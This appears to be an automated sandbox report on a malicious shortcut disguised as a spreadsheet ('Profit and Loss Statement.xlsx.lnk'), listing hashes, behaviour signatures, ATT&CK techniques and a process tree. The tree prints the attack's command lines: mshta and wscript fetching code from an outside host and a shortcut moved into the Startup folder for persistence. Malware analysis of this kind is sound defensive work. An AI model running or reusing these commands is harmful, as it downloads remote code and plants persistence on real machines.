Overview

overview

10

Static

static

Profit and...sx.lnk

windows7_x64

8

Profit and...sx.lnk

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    04-11-2021 12:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Profit and Loss Statement.xlsx.lnk

  • Size

    2KB

  • MD5

    8b9fee7600633e4017337d5b56613a59

  • SHA1

    cab6dcec5bd77f8e59b1caa330ad58f0f8280f39

  • SHA256

    0b8d7a851920d4584777505f9fb484b226a8457d4049885a87c847f7d3532d28

  • SHA512

    8b520bc99fcc74ba1424dd283106633b35d353b75a42c89963feac2ceebf9bafd9081be1f5dc3f1ebeeb9b8d5dc79d81d596089c06178d4b1295edd4ac3ed55a

Score
10/10
googlephishing

Malware Config

Signatures

  • Detected google phishing page
    phishinggoogle
  • Blocklisted process makes network request 24 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Script User-Agent 18 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Profit and Loss Statement.xlsx.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://share.stablemarket.org/AUeSdfDyTf7kMvSGKlVh8K9Z1FjBuP9bJrv/Zqtwi+g=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Windows\System32\mshta.exe
        C:\Windows\System32\mshta https://share.stablemarket.org/AUeSdfDyTf7kMvSGKlVh8K9Z1FjBuP9bJrv/Zqtwi+g=
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3992
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe" "https://docs.google.com/spreadsheets/d/1CTWarBPpx6kQjpevxr7qeQGPenjAR_7H/edit?usp=sharing&ouid=118006626630144401406&rtpof=true&sd=true"
          4⤵
            PID:804
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c start /b wscript "C:\Users\Admin\AppData\Local\Temp\rtmx.js" share.stablemarket.org/ 1 & start /b wscript "C:\Users\Admin\AppData\Local\Temp\rtmx.js" share.stablemarket.org/ 2 & move "C:\Users\Admin\AppData\Local\Temp\UserAssist.lnk" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1120
            • C:\Windows\system32\wscript.exe
              wscript "C:\Users\Admin\AppData\Local\Temp\rtmx.js" share.stablemarket.org/ 1
              5⤵
              • Blocklisted process makes network request
              PID:1480
            • C:\Windows\system32\wscript.exe
              wscript "C:\Users\Admin\AppData\Local\Temp\rtmx.js" share.stablemarket.org/ 2
              5⤵
              • Blocklisted process makes network request
              PID:1432
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 3992 -s 2352
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2148
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
        PID:2164
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1620
      • C:\Windows\system32\browser_broker.exe
        C:\Windows\system32\browser_broker.exe -Embedding
        1⤵
        • Modifies Internet Explorer settings
        PID:2308
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3420
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:2992
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:4136
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        PID:4584
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        PID:4676

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Modify Registry

      1
      T1112

      Credential Access

      Discovery

      System Information Discovery

      1
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\UserAssist.lnk
        MD5

        489cbc313c1936b45c1b84db43dce223

        SHA1

        cd6e4d101311a2e675381bfd759645f05f79522e

        SHA256

        1190e5044da3eee39211ec6584b6df9de5c890a2bc6cb0ec22a50dcb2ef35ffd

        SHA512

        e2fe617aff44e03529cf7e13f50803fdda75de2abab68293c437254b696813d5fbe661a8eac6ceb58908c20bc22554c3acd9fed764370cda764296af15fbb7f7

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\rtmx.js
        MD5

        0465f48d3e05ab31c5225b0c5e3e2368

        SHA1

        71a9bac9a13f9ea82d525bcf8285d1179a0f53e7

        SHA256

        0b9c8953230ebdfbbf68432cee750737b520224116fd1bca806005d135ec8c26

        SHA512

        2b510a88bbf3cd4a58a8d3e7136050848492cec9e8eb9fa58b3d53c4a34221f6c1c5ab0ace7a5734ffecc55c357273e64f4872cb51c7a098a883530b2b190204

        Download Submit
      • memory/804-119-0x0000000000000000-mapping.dmp
        Download
      • memory/1120-120-0x0000000000000000-mapping.dmp
        Download
      • memory/1432-122-0x0000000000000000-mapping.dmp
        Download
      • memory/1480-121-0x0000000000000000-mapping.dmp
        Download
      • memory/3004-116-0x0000000000000000-mapping.dmp
        Download
      • memory/3992-117-0x0000000000000000-mapping.dmp
        Download
      • memory/3992-118-0x00000237EE4C8000-0x00000237EE4D0000-memory.dmp
        Filesize

        32KB

        Download